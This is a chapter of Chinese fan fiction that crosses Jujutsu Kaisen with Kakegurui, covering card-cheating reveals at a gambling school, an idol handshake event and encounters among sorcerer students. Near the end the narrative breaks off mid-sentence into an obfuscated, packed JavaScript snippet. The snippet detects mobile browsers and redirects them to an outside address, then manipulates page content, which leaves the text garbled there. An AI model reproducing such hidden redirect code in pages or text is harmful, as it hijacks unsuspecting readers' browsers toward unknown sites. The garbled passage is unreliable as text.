第六张,红心A。泽田小莳用她漂亮的手覆在牌背上,然后指甲撬起一段,指尖轻挑,一张一张的牌面就揭晓。来栖华清楚的知道这些牌是自己洗的,泽田小莳没动手脚。她在那么远的地方发呆。 接下来,从A到7的间隙里,泽田小莳讲述了自己和前男友去看魔术表演的场景,说有的魔术师喜欢自己也装作很慌张的样子,最后却在观众紧张兮兮的心情下顺利完成魔术,调动全场所有人的感官,让观众的心跳不止,神经紧绷。但她喜欢稳妥,平平淡淡才是真,反正揭晓不了谜题已经够让观众抓狂了,没必要假装自己不知道怎么回事。 泽田小莳蓝色的眼睛里有光,要来栖华说那就像阳光照在海面上,漂亮,可没人会怀疑海水之深,在其下不可预估的深深沟壑中,数不清的秘密与财宝。她翻开了第二张方片7。至此为止,她有28张的战绩,已然过了54的一半。 “我赢了。剩下的牌你们可以自己翻,我手酸。” 漂亮的手打了个响指,又为自己赢得了一个亿,而主人似乎并不在意。 来栖华的普通人生只在七八岁被翻转了一年,在那之后的八年里,她只能见咒灵而没有术式,如果太早靠近最多最多也就只能做个【窗】,那对才能来说形同浪费。因此她的愿望是成为杰出的人,成为顶点上的人,让自己的影响力足矣帮助很多人,然后慢慢接触咒术师。她所做的事情,有很大一部分驱动是源于她想象中和伏黑惠的【命定的】邂逅,以及在那之后的事情。现在梦被撞破,她只好独自再寻找一个意义,就像寄居蟹没了壳得赶紧找下家。 它终究会找到,事情总是这样发展的。 但在流离失所的途中,它却会痛苦,一路颠沛也是真的。来栖华感觉到一种初中同学和她说的迷茫,那时她们临近毕业,她的旧友对高中和不确定的未来胆怯,她不理解,因为她在那之前早就想好了。不过高情商的安慰是免不了,她隐约记得自己大概说了一些“我们还是朋友”、“有不快乐都可以联系我”、“你也会有新的朋友,一起吃饭一起聊天,说不定还能恋爱。”。最后那同学也没联系她,2018年的大背景,首先排除她没有手机和网络的可能性,由此推测她再新环境应该过得不错。来栖华觉得自己比那位同学聪明很多,如果对方可以从迷茫中脱离,那么她也一定可以,而且会用更短的时间,犯更少的错误。这是属于她的韧性和自觉,也许还有一点基于事实依据的小小清高。 所以她按捺下心里的一切情绪,只是伪装的像普通学妹一样看待伏黑惠的女朋友,像学妹对学姐一样,像一个学生对另一个学生一样,转换视角加多思考,她发现自己从没见过这样的人:泽田小莳身上有谜题,对方漫不经心的样子产生了鲜明对比,很……很迷人。 在她神游天外,揣测伊月对她蛇喰学姐是不是也是在牌桌上看出感情的时间里,食堂里的人已经散了一部分,等她回过神来,她的好同学M型跪坐在地上,眼泪鼻涕一起留,一副失败者的姿态,打着哭嗝,还在说:“不可能。” 来栖华看见蛇喰梦子掀开居于右下角中间一点的一张牌,那是方片Q,说真有趣,然后将这张牌对准她,并询问:“你知道这本来应该是什么吗?” 什么叫本来……是什么就是什么咯,来栖华不明白,只是念了一遍上面的花色:“我看见的就是方片Q。” “啊,来栖同学这样的学生在这所学校里反而显得罕见了呢。”蛇喰梦子红着脸举牌转了一圈,“不过这样也好,能享受赌博乐趣的人是少数,大部分真就像小莳同学说的一样,既不纯粹,也不坦荡想走捷径。如此一来还不如你至少知道自己想要什么。” 什么叫还不如我……来栖华觉得自己被看轻了,在一所以赌博为乐甚至不惜赔上身家性命都要参与游戏的疯学校里格格不入真是对不起了!! 来栖华不高兴,她抿唇不说话。 “哎呀,说过头了?抱歉,只是我对赌没有抵抗力,因此不喜欢赌博的人在我看来就很无趣呢,不过小莳同学除外。我来揭晓谜题,这张本来应该是--” “本来应该是Joker。”皇伊月用袖口擦干了眼泪,也许还有鼻涕,肿着眼睛从地毯上爬起来。她一言不发的站起来,然后一张一张翻开剩下的牌。 “红心A。”她翻开的是黑桃8。 “红心2。”翻开的却是草花6。 铃井前辈把她拉到一旁,和她解释了这通指鹿为马。来栖华这才知道,原来自己的同学给家里厂子开了一条单单的特制生产线,专门生产牌背有标记的老千牌。温感标记,伊月的包里有热水杯,在拿出来三分钟里,标记不会消退,她会记住所有的牌。 嗯……这种秘密传出去整家公司都要倒闭了吧。不过能在几分钟里凭借绝佳的记忆力把花色数字和标记一一对应,过目不忘,岂不是说伊月和蛇喰梦子都比她记忆力好?! 可恶啊,她一定要加倍努力的学习,保住奖学金是最基本的,她想做最杰出的那个。她是说成绩。来栖华有了一种深深的危机感,但她觉得在当下,这是个好东西,能让她转移走注意力。 98. 第 98 章 小莳接连在学校里上了几天学,学到了什么东西不好说,反正可支配收入稳中向好。她对伏黑惠讲:“以后缺钱了就去上学。四年生活费有咯!” 皇伊月似乎成了一个监控摄像头专家,细心回看她的每一场比赛。蛇喰梦子也看,她还毫不避讳地说明了此事。小莳是不觉得她们能看出什么的,也就随她们浪费时间。皇伊月在交款层面上还挺有信誉,她已经交付了欠款的一半--以现金形式。50捆打包整整齐齐的钱沓子被码放在公务包里,打开的时候很壮观。 小莳给能想到的朋友们都发了一圈,银行转账的一串数字确实不如实物来得惊艳。 “剩下的钱我分五个月还你。” 理解理解,有钱人的流动资金也未必多,她说:“我恐怕到大学毕业都不会忘记你,皇同学。” “……”她一点也不想知道为什么是大学毕业。 蛇喰梦子看着现在属于她的钱出神:“真好,我也想要赢呢~” 她只是疯。小莳撇了这位一身不良嗜好的同学,问她:“你最近正好缺钱吗?”不是问是不是为了钱而赌,而是问是否正好手头紧。 “嗯,是哦,姐姐的医药费要付。” “真辛苦,小小年纪就承担起一个家。你姐怎么了?” 然后她就听说了一个因为过度赌博债台高筑最后被人打了进医院的故事。“脏器受损,其他不可逆的损伤还有精神焦虑。” “……” 她说家里人有点遗传的、对于这方面的偏好与天赋,这没什么了不起。小莳觉得奈亚超会交朋友,他肯定早就知道了这些。 这种东西也能遗传?嗯,千万不能和赌徒交往过甚。生物和基因还真是奇妙,每每都令她感慨。“那祝你好运,不过我看你也不是会输的类型。” “小莳同学对我这么自信?” 她说:“直觉。”听说蛇喰梦子的欠款缩水到三千万了,没多久就可以偿还了吧……不过这人不能以常理论,说不定又有转折。 “既然小莳同学这么相信我,可以揭晓一下谜题吗?” “什么谜题?” 蛇喰梦子从后面扑向她,小莳脚步往左,躲开:“那天和皇同学。这么久过去了还是百思不得其解呢!拜托了,我想知道答案。” “是魔法,我用了魔法!” 小莳过了一个转角,撞见班级在楼下的来栖华:“你好,来栖同学。” 来栖华显然也听见了她的发言:“……” 下午的课后,她准备直接回高专,今天不打算吃饭,也不打算社团,偶尔做个普通女高就当是回忆洛山帝丹,却被人在鞋柜那里拦住。 “泽田前辈,我有事情想问您。”特地用了敬语,是来栖华。 “因为我和学生会关系还可以,所以提前走也无所谓,你的话我不确定哦。” 来者红了脸:“……不是这个。” “唔,弄错了吗,我以为你是见不得家畜们过苦日子又陷入更深的债务深渊,所以想早点走。”谁知道这鬼学校社团活动还有评分,显然是学生会的阳谋,类似于报了平价旅游团然后被迫加入购物项目,被关在里面一下午最后买了很多不必要的东西。大概率上套。 “不,我是想问,您是咒术师吗?” “欸。”小莳联想到了那次的双重神经衰弱,来栖华归因失误,不过可能也正是她对各种出千的手法不了解而立刻转换到非常规的思路上,就想法而言,对了一半,“算是吧,最近拿到了一级资格。你是怎么知道咒术师的?我记得针对普通人的保密制度还挺严格,你看上去不像是有咒术师熟人的。”要是有的话也不会问她了,小莳觉得自己最近有点名气。 “我小时候被咒灵掳走过,被救后签署了保密申明,一直到现在。” “原来如此,这就是你正义感的来源吗?挺好的,继续保持,说不定会做出了不起的事情。”这世上还是好人多啊,她得去高专写报告了,前天的任务情况再水200字,然后让惠惠润色一下,一鼓作气地交上去吧! 不,来栖华想说更多,想说些别的,但她听见泽田小莳说她挺好的,最后什么也没有说,看着前辈的背影走远。 “再见,来栖华同学。” “……再见。” * 诡异的是,西洞院百合子还挺喜欢小莳,也很尊敬她,在某一天下课后还邀请她去社团喝茶,但可惜那天她不是本尊,用人类能听懂的语言就是【抑郁发作了】。 老是输影响声誉,皇伊月也被学生会开除了,但是家里对她在学校的绩效又有要求,她又求到了学生会关系不错的小莳这边,遗憾,那天她也不在。 说实话,求了也没用,因为小莳只认识一个西洞院,其余的关系就是--曾经见过学生会长。她也不知道自己的学生会人脉是怎么来的。 高中生的学生会政治即使勾连全国的经济形势,也不足以令她感兴趣,不如看电视和准备执业医师资格考试。家入医生在那之后就很关心她--学业方面的,而五条悟和夏油杰的关系再次好起来,他们三个就……不可避免地聊起了育儿话题。以上全是小莳不靠谱的猜测,但她怀疑自己成了家入医生这边的参战选手了。 “我在高专毕业后两年就拿到了证书,虽然考试资格是动了些小手段的,但其他都是真才实学,报名资格的话我可以托总监部相关人员帮忙,都不用你自己操心。” “……我好像没有说要拿这个证书。” “确实,你以后也不会做医生,但就把它当作对你知识水平的检测。资格审查在7月,如果你和我一样的学习进度,那时也正好上大二。想起以前的事情真是怀念--想了想还是别怀念了。”三年级以后的一年不太好过,再后来就被要求接手处理伤亡的同伴,不说咒灵带来的牺牲,夏油还真是喜欢在别人规划好的人生里闹出乱子,明明他是看上去最靠谱的那个。戒烟暂时中断的家入医生最后这么劝她:“多学一门技术也是不错的,你很依赖反转术式,这可是很有用的。” 没什么目标的小莳在这群大人面前原形毕露,然后被安排了这样和那样对她确实有好处的道路,她就暂时笑纳,但苦笑。 在三月的尾巴,小莳被五条悟拉着去参加了一场偶像live和握手会,理由是要劳逸结合,不能总窝在房间里学习。 “小高田?谁啊。”实际上一般是摊开一本书然后对着电视通过潜意识学习法学一整天的小莳把握手券看了一遍,“虽然兴趣不大,但是谢谢你。东西可以留下,下午我和甚尔去看看。” “小莳,你果然……” “果然个鬼,你现在看到他根本不会惊讶,应该早就猜到了吧。”小莳合上书本,“你最近不忙了?” “可不能把自己累坏了,所以托人拿了两张演唱会限量票。”五条悟半蹲下,认真和小莳说:“这是我们俩的票,可没有那个家伙的。” “我还没听过live,理子的之前也没邀请过我。”小莳觉得出去逛逛也不错,“你居然也追偶像,坦白说我看她没你长的好。” “不追,最近问虎杖,他说东堂很喜欢这个。东堂是京都高专的学生,和虎杖关系很好。”五条悟觉得小莳很有眼光,他还想说什么,却被端着水杯上楼的伏黑甚尔打断。 “给你泡了花茶。”实际上他只是找个借口到她房间然后就不走了。 小莳饮了一口茶:“既然你不认识这个idol,如果我请你把两张票留下然后离开--” “我会闹的,小莳,绝对会。” 于是下午出行的只有他们两个。她承诺了晚上一定回并盛吃饭。还被要求额外附加了一条:伏黑甚尔做的。这男人也是学聪明了,抓取言语漏洞的能力看起来像个律师。 “在那之前只有三面之缘,但完全看不出他是那样的人……”小时候一次,二年级的时候两次,不怀好意的,嗯,人夫?坐上车已经有一段时间,才五条悟问起了最关心的事情,“你们是怎么回事?” 小莳简单地解释:“旧情复燃了。” “小惠知道吗?” 这个对话还真是奇妙:“……如果我说知道,你会觉得我们三个是怪人吗?” “emm,不会。”五条悟盯着小莳看了一会,迟疑片刻后说:“但我觉得你可以和他分手,他年纪太大了。” “……” “等你72的时候,他很可能已经去世。我国男性平均寿命还不到80。他应该比你年长--”五条悟说到这里停顿,伏黑甚尔多大来着?哎,反正不小了。 “我说你记忆力别在这种时候这么好。”他是懂以子之矛攻子之盾的。小莳嘀咕:“我只是随口一说。” 她的肩膀被拍了一下,五条悟很是勉励她:“这么说来费尔米纳也正是在那个时候失去了乌尔比诺,小莳,你要努力长寿啊!当然我是不怀疑你能活过伏黑甚尔的。” 霍乱时期的爱情一书中,男女主角在25岁的时候并未在一起,女主费尔米纳嫁给了当地一个医生,乌尔比诺。直到她72岁死了丈夫,放荡的男主才重新检视自己的爱情,发现自己还爱她--最后勉强算是老年爱情故事。 而五条悟说起这个多半只是为了回击她曾经说他年纪大了,真是可怕的报复心。 “……谢谢你,结婚的话,我的暂定人选是惠。让我们祈祷他福寿绵长。” “哎呀,如果是我们小惠的话一定能活到85岁的。这么说来你打算和他结婚?不是和伏黑甚尔?”他的态度从嬉皮笑脸转到认真询问。 小莳强调:“暂定,中途如果分手就不好说了。作为一个不担心养老、有资金保障的年轻女性,我对婚姻没有物质方面的需求---还有你能不要对别人的感情生活探究这么多吗?你今天来找我就是为了问这些对吧,我自己心里都有数,用不着你关心。” 说到一半的时候她也有点意识到自己被人牵着鼻子走,恼火于对方的打探,也懊恼自己什么都说了。小莳气鼓鼓的。 “只是担心你。” “100%是在八卦。” “嘛,也有这方面因素,但是我希望你和小惠好好的。伏黑甚尔……他应该挺喜欢你的,但我不喜欢他,这是偏见,但是我坚持贯彻这份偏见。惹到我,他算是被诅咒了。” “谢天谢地你的意见不重要。”小莳说话不客气起来,车窗开了一条缝,外面的风吹到她的脸上,很舒服。 “杰也不喜欢他。” “真高兴他们不用见面。” “……那天他看见了九十九由基,他有点难过。顺便知道了伏黑甚尔的事情。” 小莳愣住:“哦,那他没和我说,我以为他--” 直到下车的时候,五条悟兴冲冲往后备箱拿出应援棒和闪光灯牌,小莳一脸不情愿地接过,然后最终还是告诉了对方自己的想法:“对于惠,我清楚地知道自己喜欢他,也想和他在一起,某种程度上是我也选择了他,我会负责。但是甚尔--如果他离开并盛,或者不辞而别去其他什么国家,我不确定我会去找他,很大概率就……结束了。” 五条悟眯起眼睛,盯得小莳发毛,虽然隔着墨镜她还是能感受那道目光。最后他说这样也好,反正伏黑甚尔看上去就是个擅长跑路的家伙。也不知道这话多大程度代表他心里的真实想法。 演唱会现场拥挤又吵闹,中途还有后援团的轮流展示灯牌还有计划好的应援,前后左右都嗡嗡嗡嗡,小莳不得已对五条悟大喊,确保他能听到:“我说,我们要不要先离开?” 他的回应是举着灯牌和人浪一起摇摆。 小莳:“……” 浑浑噩噩不在状态度过了一个小时还是两个小时,散场后她头都晕了,这种活动很好,下次不要叫她。咱那之后还有一场握手会。 五条悟珍视地递给小莳薄薄的门票:“不是每个人都有握手券,所以会上并不像live现场一样人多,珍惜难得的机会。说不定我们会上电视~” 上电视也好,握手也好,机会都可以给别人。小莳摆了摆手,“你怎么这么专业,人太多我尸体有点不舒服。” “小莳是I人?我是ENTP。”面包体大师大拇指指着自己,很骄傲,“这么说来小惠也是I,他也不喜欢在人群里。” “谢谢你,ENTP。”对人群还好,但是不喜欢吵吵闹闹又拥挤还没有无下限,小莳揪住了五条悟的衣袖:“你对一不小心撞到你很多次的人也能E起来吗?让我帮你走出象牙塔。” “……”人潮带起的气流和热浪,五条悟觉得自己突然染上了洁癖:“小莳,松手。” “不要,ENTP。”一起毁灭吧!小莳现在觉得很,快乐。 ENTP:已老实,求放过。 他们在排队中遇到了小莳的同学,本该在学校上学的一行人高调校服出现在握手会上,还是五条悟问小莳认不认识这群人。 今天铃木不在,一共来了四个女生,其中一个粉色头发的姑娘打扮的格外可疑,小莳没见过她:“在这种地方戴墨镜的全都是怪人。”反而会更高调。 “我戴了哦。” 小莳吐舌头:“我故意这么说的。” 与三位同级生还有一个学妹打了招呼,她这么介绍五条悟:“这是快乐小狗。” 五条悟生气甩开她的手,实际上是为了快速展开被动,站远了一步:“梦见弖?我怎么记得好像有个女idol也叫这个名字。” 小莳谁也不认识,“你别问我,听都没听说过。”当然,在此之前也不知道小高田何许人也,小莳只是很平等的不追星。但这话当人面说就……不礼貌。 梦见弖优芽美揪下口罩甜甜地给小莳一个飞吻,对她的话恍若未闻:“我是学生会宣传干部,也是想给大家带来快乐和激励的优芽美酱哒。” 小莳把目光转向蛇喰梦子,期待她给点翻译后的人话。 “小高田小姐在油管的人气似乎超过了梦见弖同学,所以--”梦子不知道哪根筋搭错了,给了小莳一个wink,这位赌王转行爱豆以后想必也会有不低的人气。 懂了,同行竞业。 早乙女叉腰站在最边上,语气不爽:“你今天不是拒绝了我们的邀请,怎么又和别的男人来这里?摆出一副很惊讶的样子这是在做什么?” 小莳是真惊讶,说来这会应该是社团时间,她的人偶大概还在学校里的某个地方。 之前没准备过突发应急事项,她就说:“不知道,抱歉,:对不起。” 蛇喰梦子是小莳喜欢打交道的类型,她精神状况有点特殊,这毫无疑问,但她不给人添麻烦,而且不藏私,不追问,无欲无求的--只要不牵扯赌博话题,她就是人群中最善解人意的一类。搞不好她的正义感也不在好心人来栖华之下。 蛇喰梦子给僵局转了个话题,说明了一切。 在那之后学生会的干部们纷纷找她比试,然后一个一个的败了,她很享受,也和很多人交了朋友,包括梦见弖优芽美。梦见弖同学有一个梦想,就是拿到奥斯卡小金人:在此之前她要借助百花王学生会的力量走到日本顶点,她选择了idol赛道,因为依托网络和女高身份能积攒不少前期人气。哦对,她十分憎恶自己的粉丝,觉得他们臭臭的,还有一身没洗的衣服。 友好的比试和在那之后的友情环节基本可以不信,但关于梦见弖优芽美小莳听进去了。没听说哪个日本的爱豆后来捧过奥斯卡的。 小莳:“我就说吧,这学校没几个正常人。”她在对五条悟说话,对方没搭理,反而看着到目前为止除了打招呼就没再开口的来栖华。 他双手插兜,弯下腰:“我们,见过吗?” 不排除他们真的在什么地方见过,但这讲话也太像土土的搭讪了,小莳摇摇头,跟着握手的队伍向前走几格。但是再一想,如果是和甚尔出来又遇到同学们,如果她们问起“你们是什么关系呢”她就…… 幻想了一下自己说:“是的,这是我的男朋友的父亲。” 哈哈,真是被自己的想象力逗笑啦! 幸好这次是和五条悟出来的,他的身份是正经的老师。 除了真的在用望远镜观察握手情形的敬业在读偶像,其他人都听了一段往事,关于来栖华的童年被五条悟救援的事情。 “没错,我是官方相关人员。”五条悟认下了这层身份。 “你还真是做了不少好人好事,还会报警呢。”知道男朋友和谁学的了。 五条悟摁着她脑袋,手掌转动搓了几下,她的头发膨胀了起来。“那当然,我可是被学生尊敬的GreatTeacher.” 是是是,好好好。 “不过那次,emm,小惠是不是也在的?”五条悟回想起来,印象中后续的保密工作他也参与了一部分,“你记不记得一只白色的狗,还有它的主人,和你一般年纪的那个男孩。” 来栖华说记得。 这么说她还认识惠,小莳想起了上次自己被拦下的经历,难道来栖华之前是想说这个?“不愧是日本第二的教育家,从孩子抓起。”惠在小小年纪就被人带出去讨工作了。20岁,那应该是五条悟毕业以后的第一年,大概是正式成为教师前的自我实践与锻炼--简称过家家。 他没计较自己的头衔又变了一个,而是认真和学生们解释:“那是我们小莳的男朋友哦,也是我的学生。” 小莳听这话以后为自己抹了把汗,前些日子才说对方是在宗教学校就读。果然,蛇喰梦子开始问她了,小莳不是感觉不到她对自己的好奇心。她胡扯了一个宗教学校不好就业,家里也没有寺庙继承,提前准备转行。 小莳煞有介事:“所有邪恶终将被绳之以法,后面忘了,反正公安类的工作不愁就业。” 早乙女问:“有个问题我早就想问了,你什么时候换的衣服?这显然不是校服。” 小莳镇定自若:“在车上。”只要不被发现live的时候她已经在现场,身份就不会被戳穿。 “哈?”早乙女芽亚里幻想出一个加长林肯,还带隔间,还是觉得哪里不对。 “你们都是来握手的吗?包括宣传委员。”还是把话题转移走更安全。 “是啊,梦见弖同学从后援团长那边收缴来的券。”蛇喰梦子优雅的笑容看在小莳眼里又多了层坏心眼的意味,用这种表情诉说着有粉丝爬墙的事情,很难不觉得幸灾乐祸。“对于能够记住每一个粉丝姓名容貌的偶像来说,被放弃应当值得伤心。” 记住每一个粉丝,那不就是粉丝很少的意思吗?小莳看了一眼嘴唇明显下撇的粉发同学,总感觉做奥斯卡女明星到女高idol是跨度和宗教学还有警察差不多的,听起来都不靠谱,更不用说这人还讨厌粉丝。她这么回应蛇喰梦子:“没办法,毕竟干这一行的,最忌讳爱上客人。” 听者笑容更深:“我就说小莳同学一定会给出有趣的回答,只有小莳同学才可以。” 优秀的赌徒总是擅长虚张声势,上次的人偶一样也是,这次的意有所指也是,她的不确凿推断不构成小莳心里的任何紧张,她说:“谢谢你抬举。” “这话用来形容偶像和粉丝一点也不合适吧!”能说出这些,说明早乙女芽亚里是个正常人。可惜在这里她是少数派。 五条悟很快排到了握手,和今日主角寒暄。“没想到这么帅的大帅哥也会来我的live和握手会,真是荣幸,接下来也请多多支持~”“小高田小姐,你能不能表演一下那个,就是--”五条悟做了个比耶放在眼前的手势。 “好的!那么接下来就是,小高光波~” 而五条悟之前根本就不认识她。他离开的时候还回头对小莳来了一个小悟光波。她怀疑是夏油杰抱着必死的信念拒绝挚友,这个握手会才轮到自己来的。 小莳扭回头,上前一步,伸出双手:“你好。” 高大的双马尾美女像合拢手掌一样将小莳的双手包裹在自己手心。她的手暖暖的,身上还有股甜香,嘴唇上是透明亮晶晶的唇蜜,很漂亮:“你好~看上去有些疲惫,是排队辛苦了吗?不过真是高兴呀,有两位容貌如此出众的观众。” 小莳感受到一种如沐春风的梦幻,眼下到颧骨那块地方热烘烘的:“喔,谢谢夸奖。” “你叫什么名字?应该是第一次来吧?如果以前见过,小高我绝对不会忘记你。” 小莳晕晕乎乎的,也不知道自己说了什么,只听见最后小高田招呼她下次再来,一定会认出她,然后和她打招呼。 五条悟问她握后感,她也很纳闷,将对方的两只手一拢,问:“你有什么感觉吗?” “呃,没有。” “对啊,那为什么小高田一对我这样,我就会有点脸红呢?” “坏了,小惠の大危机!” “你别,”小莳转过头去看握手现场,现在是早乙女时间,百花王学园的人都在五米开外,她问:“你是不是也发现了,来栖她--” “五条老师!” 今天的偶遇还真是多,小莳转头,看见了一路奔来的虎杖悠仁,还有他后面的同期与真希……一个长得和真希一样的女孩,她穿着旗袍,应该是真希的妹妹,禅院真依。 五条悟的六眼肯定早就发现他们了,好多团咒力混在一起,想不注意都难。他带自己过来难道是特地为了和学生偶遇? “呦,大家好。东堂不在吗?” 虎杖悠仁摸了摸鼻子:“那个啊,他说想再排一次,不过他的话应该很容易就被发现重复排队了。” “以他的身形,确实。”五条悟想着,赞同地点头。 “所以,五条老师,你和泽田在做什么?”虎杖指了指两人握在一起的手。小莳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413166|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立即就松开。 他回答的时候看着伏黑惠:“是小莳主动的!” “糟糕的教师。”钉崎野蔷薇评价。 “刚才小高田就是这样握我的手,”小莳无实物示范了一下,解释道:“那时我的心脏停跳了九次。” “……” “……” “……” “这是一个比喻,不是说真的停了九次。反正就,和我想的不一样,你们握手了吗?” 所有人都拍过一轮了,伏黑惠说没什么特别的感觉,他还特地加了一句:“我只喜欢你。”话里暗含敦促和淡淡的谴责。 小莳:“……”可不敢敢说我也是。她心虚地亲了一下他的唇角。 “在公众场合就做这种事吗?真是开放。” 说话的人是禅院真依,等小莳给了她目光,她才自我介绍:“我是京都校那边的禅院真依,早就听说过你了,泽田小莳。” 她讲话有点不礼貌,她们一点也不熟,小莳说:“你和你姐还真像。” 看到野蔷薇由嫌弃转变成想笑的脸,小莳就知道自己讲对话了。然后就惹怒了这个双子妹妹。 这里不是说话的地方,“我的同学今天恰好也来了,其中有一个好奇心比较……旺盛。不如我们过会见?” 没等她完成赶人的事情,就被不知道从哪蹿出来的梦见弖拍了拍肩头:“小莳同学,你感觉怎么样,我是说握手会。” 不是,今天她们明明第一次见面,根本不熟吧,而且连笔记本都拿出来一副准备完整记录的样子是怎么回事?这个校园偶像的事业心也太曲折了。她简要描述:“好握,爱握,下次还握。”然后给梦见弖优芽美一个小莳光波。 对方啪地一下合起笔记本。小莳以为她要闹脾气,结果她以爱豆营业的状态握住了小莳的手,然后问她:“我呢?你喜欢这样的我吗?KOMAKI。” 这些偶像们是有点念人名字的技巧的,这个语调让她耳朵一热:“还不错,但是一想到你嫌弃我有体臭就喜欢不起来了。”实在是用户画像太糟心,不敢爱。 梦见弖优芽美丢下她,就像丢下臭抹布一样离开了,去寻找已经完成握手的早乙女进行消息统计,她们又在几米之外。 小莳给高专的同学们介绍自己的校园宠物们,如数家珍:“正在握手的是我的赌王同学,目前欠债五千万,她和奈亚关系不错,有个因为高利贷卧病在床的姐姐;刚才那个是我的校园爱豆同年级生,她想出名,但是十分讨厌自己的粉丝,觉得他们都是臭死宅,今天过来是为了和行业头部学习。” 野蔷薇认识这个偶像:“梦见弖?我在油管上看见过她,觉得还挺可爱的,转发给纱织看过。你们知道吗?优芽美的经纪人也叫纱织,她还在电视上接受过采访,揭秘过优芽美的梦想的幕后努力。” 小莳送朋友一句:“别追,正常人是百花王的少数群体。梦见弖大概率是特产,不过该说不说这地方女孩子间的感情都很真。” 她接着介绍:“金发是早乙女,她是不正常中的正常人,现在握手的那个是来栖华,小时候被咒灵掳走过,现在想做个好人,没看出有不良嗜好。总结:金毛精神状态一般会更好。” “哇,那女孩听力很好吗?她在往你看。” “不,她应该只是注意到了这里有人。”小莳回答虎杖。她想,惠还真是受欢迎,一下子出现了两个觉得他还不错的。嗯,小莳还记得真希以前给她发的消息。禅院真依好像对他也有点兴趣? 真不愧是恋爱的季节。 在她说更多之前,五条悟把学生们带走了。而小莳又被蛇喰梦子留住说了好一通话。 “小莳同学对学园内部的制度怎么看待?” “什么制度?” “家畜。随处可见的被欺负的学生,他们不可怜吗?” 她如实回答:“等你当上学生会长你想怎么改就怎么改。” “真是密不透风,我只是想享受乐趣,然后帮助身陷囹圄的同学们。” “好的,加油,小莳我最喜欢励精图治搞改革的实干家了。”才不是,她已经上了一条贼船,虽然好像至今为止也没做过什么事情,大多数都是青壮年咒术师们顶在前头。 “我想更多的在学校看见小莳同学。”又一个试探。 “那你多想想,反正按理说咱们天天见。” “学生会的干部们好多。” “可是赌博也只需要两个人。依我之见你会一个一个把他们打败的,直到最后。”只有零和的双人游戏里,有人对自己产生兴趣,小莳只能理解为蛇喰梦子瘾犯了。她想和自己来一局,可小莳自己知道,自己的成功只是幻术,如果对方不做术士,永远也破解不了。蛇喰梦子永远没办法得到想要的结局。 最后她把来栖华塞给了这位同班同学:“你看,你们都有足够的好心,早乙女又讨厌学生会,还有一个准备跟在你后面喝汤的皇伊月,一个聪明睿智的奈亚,最后还有一个负责解说的铃井。6人组配备齐全了呀!你说对吧,来栖?” “嗯?泽田学姐你说什么?” “你会帮助你蛇喰前辈挽救几十个家庭于危难的对吧?有很多上千万上亿的负债根本就不知道从哪冒出来的,因为这种事情赔上人生也太令人惋惜了。”已经从学校里赚了自己五分之一条命的小莳一脸认真劝导迷迷糊糊的学妹。 “嗯……对?” “来栖华,是一个有着正当良心的好孩子。如果你觉得自己失去了理性的评判依据,绝对可以听取她的意见。”小莳伸出一根手指,“你们就是黄金搭档!” 早乙女芽亚里不喜欢的人又多了一个,她觉得这个泽田小莳就喜欢胡言乱语:“你这家伙在胡说八道自说自话些什么啊?!” 小莳给了她一个新学的小莳光波。 在得罪了在场的一半同学后,脚底抹油离开握手会现场,在门口她还碰到了疑似被请出来的传闻中的虎杖好兄弟。 东堂葵长得……好壮啊。三年级,18岁,190,就,挺让人吃惊的。目睹了对方和禅院真依对话后,可以确定是京咒的学生,小莳去场馆旁边的自动售货机买了瓶水,回去和高专的人汇合的时候再一次看见了京都的两位。 恰逢东堂葵在问伏黑惠喜欢什么样的女人,这问题……小莳看了一眼五条悟,他说这是九十九由基弟子。那就不奇怪了。 “上次你说的回答,很令我失望。你已经是能展开领域的强者了,不知道答案是否也会有所变化。” 小莳又转头,惠上次说了啥? 五条悟也不知道。 禅院真依扯了扯东堂葵的胳膊,把方向指到小莳那边:“喏。” “??” “就是她。” 东堂葵拍脑袋:“啊,还是令人失望的品味。” 小莳也拍脑袋:“我喜欢小高田,她说我长得美。还【这样子】捧住了我的手。”她又示范了一次自己是怎么被暖暖的掌心包裹住的。 “不过没关系,她只是你的偶像,又不是你的女朋友,你不一定要和她理解同频,反正也只会在握手会上见面。欸嘿。” 她在冒犯的艺术方面,只承认自己有东堂葵的一半,也就是说--今天绝对是她被欺负了。 一个190的小男孩在小莳光波下轻轻地碎了。他想做点其他的事情,但不想欺负瘦小的女人,其次,五条悟在场。 在离别的时刻他才知道小莳的姓名,她并非弱者,而是声名在外,只是没法将声誉和长相勾连。东堂约她比试,她自然拒绝。 “能匹敌乙骨的女人,怎么连这点觉悟都没有?” “不信谣不传谣。”如果那天乙骨开了领域,说不定就打不过了,最后还是他对小莳留了手。很有可能是因为束缚只包含【尽力杀死虎杖悠仁】,和她无关,在这里钻了点空子。他领域的必中不知道能不能被她的不垂堂中和,毕竟她其实没有术式,按理说也不该有领域。 说到乙骨,小莳突然好奇:“你喜欢什么类型的女人?” “我和挚友一样,都喜欢个头大屁股大的女人。”他还挺骄傲,感觉人不正常。没想到虎杖也是…… 虎杖在小莳的目光下挠头笑,他还说:“詹妮弗·劳伦斯那样的就很好。” 行吧,和她想象中的元气男高不一样,她以为虎杖会稍微清纯一点。 小莳一步步引导东堂葵:“那你觉得乙骨怎么样?” “很强。” 这会她摆出恍然大悟的姿态:“那你一定觉得他和里香很般配吧,不然他就是个癖好古怪并且无聊的男人了。” “……” “真是失礼,他们可是纯爱!” 在东堂宣布自己的温柔被践踏之前,五条悟憋着笑在小莳的优势下叫停了这一局,“小莳,悠着点,东堂打人可是很疼的,绝对比真希那次严重。再锋利的刀刃也能被巨石砸碎。” 她已经学会了反转术式。不过对方的体格看起来就很能打,说不定比真希厉害一点,小莳选择保留这次的小胜:“今天有人在家里做饭,不聊了,得吃饭去。” 她回头看见禅院真依在对自己的男朋友wink,对方还给回头的她一个堪称挑衅的眼神。 